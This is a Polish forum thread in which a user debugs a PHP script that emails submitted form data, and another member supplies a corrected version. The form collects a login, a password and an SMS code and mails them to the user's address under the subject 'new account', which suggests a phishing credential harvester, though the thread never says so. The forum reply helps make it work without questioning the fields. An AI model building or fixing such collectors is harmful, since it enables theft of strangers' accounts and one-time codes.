Problem ze skryptem wysyłając dane na e-mail


(Stasio K12) #1

Witam. Mam problem ze skryptem który wysyła dane ze strony na e-mail. Problem polega na tym że skrypt nie wysyła danych ponieważ chyba jest w nim błąd lecz nie mogę go znaleźć. Oto ten skrypt

<?php

if (count($_POST))

{

////////// USTAWIENIA //////////

$email = 'test.mpcforum_v1@o2.pl'; // Adres e-mail adresata

$subject = 'Nowe konto '; // Temat listu

$message = 'Wyslano wiadomosc na email.'; // Komunikat

$error = 'Wystąpił błąd podczas wysyłania formularza'; // Komunikat błędu

$charset = 'iso-8859-2'; // Strona kodowa

//////////////////////////////

$head =

"MIME-Version: 1.0\r\n" .

"Content-Type: text/plain; charset=$charset\r\n" .

"Content-Transfer-Encoding: 8bit";

$body = '';

foreach ($_POST as $name => $value)

{

if (is_array($value))

{

for ($i = 0; $i < count($value); $i++)

{

$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";

}

}

else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";

}

echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;

}

else

{

?>

Tutaj umieść wszystkie pola formularza

<?php

}

?>

Proszę o szybką odp.


(Agatonster) #2

jawa1994 ,

Zapoznaj się z tematem i popraw tytuł tematu na konkretny, mówiący o problemie. W celu dokonania zaleconej korekty proszę użyć przycisku Edytuj przy poście otwierającym ten temat.

Zignorowanie zalecenia będzie skutkowało usunięciem tematu do Kosza.


(Wojsmol) #3

Witam

jawa1994 Powidz mi jak ten skrypt ma działać skoro zamiast poprawnego formularza masz

Tutaj umieść wszystkie pola formularza

Pozdrawiam


(Stasio K12) #4

Poprawiłem ale nadal nie działa

<?php

if (count($_POST))

{

////////// USTAWIENIA //////////

$email = 'stasio.k12@gmail.com'; // Adres e-mail adresata

$subject = 'Nowe konto '; // Temat listu

$message = 'wysłano.';

$error = 'Wystąpił błąd podczas wysyłania formularza';

$charset = 'iso-8859-2';

//////////////////////////////

$head =

"MIME-Version: 1.0\r\n" .

"Content-Type: text/plain; charset=$charset\r\n" .

"Content-Transfer-Encoding: 8bit";

$body = '';

foreach ($_POST as $name => $value)

{

if (is_array($value))

{

for ($i = 0; $i < count($value); $i++)

{

$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";

}

}

else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";

}

echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;

}

else

{

?>

<?php

}

?>

Prosił bym żeby ktoś mi to wytłumaczył krok po kroku bo jestem w tym zielony :smiley:


(Wojsmol) #5

Witam

action wskazuje gdzie mają być wysyłane dane z formularz, ale jakie dane i kiedy skoro formularz nadal jest pusty. Nie ma nawet przycisku wyślij klik.

Pozdrawiam


(Stasio K12) #6

To jest skrypt do wpisywania danych

action="21.php.htm"

method="post"

test dla mpc forum"

 

Login

Haslo

Kod z SMS

a ten skrypt ma wysyłać dane na e-mail

<?php

if (count($_POST))

{

////////// USTAWIENIA //////////

$email = 'stasio.k12@gmail.com'; // Adres e-mail adresata

$subject = 'Nowe konto '; // Temat listu

$message = 'wysłano.';

$error = 'Wystąpił błąd podczas wysyłania formularza';

$charset = 'iso-8859-2';

//////////////////////////////

$head =

"MIME-Version: 1.0\r\n" .

"Content-Type: text/plain; charset=$charset\r\n" .

"Content-Transfer-Encoding: 8bit";

$body = '';

foreach ($_POST as $name => $value)

{

if (is_array($value))

{

for ($i = 0; $i < count($value); $i++)

{

$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";

}

}

else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";

}

echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;

}

else

{

?>

<?php

}

?>

prosze o pomoc


(Wojsmol) #7

Witam

Według mnie powinno zadziałać po następujących zmianach

skrypt do wpisywania danych

action="21.php"

method="post"

test dla mpc forum"
 


Login 




Haslo

Kod z SMS

skrypt wysyłający dane na mail

<?php

if (count($_POST))

{

////////// USTAWIENIA //////////

$email = 'stasio.k12@gmail.com'; // Adres e-mail adresata

$subject = 'Nowe konto '; // Temat listu

$message = 'wysłano.';

$error = 'Wystąpił błąd podczas wysyłania formularza';

$charset = 'iso-8859-2';

//////////////////////////////


$head =

"MIME-Version: 1.0\r\n" .

"Content-Type: text/plain; charset=$charset\r\n" .

"Content-Transfer-Encoding: 8bit";

$body = '';

foreach ($_POST as $name => $value)

{

if (is_array($value))

{

for ($i = 0; $i < count($value); $i++)

{

$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";

}

}

else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";

}

echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;

}

?>

Wszystko przy założeniu, że skrypt z obsługą wysyłki maili nazywa się 21.php i znajduje się w tym samym folderze co plik z kodem formularza.

Pozdrawiam


(Stasio K12) #8

Jest postęp ale jeszcze nie wysyła danych na e-mail. Po naciśnięciu wyślij pojawia się komunikat : Wystąpił błąd podczas wysyłania formularza. Nie wiem o co chodzi. Proszę o pomoc .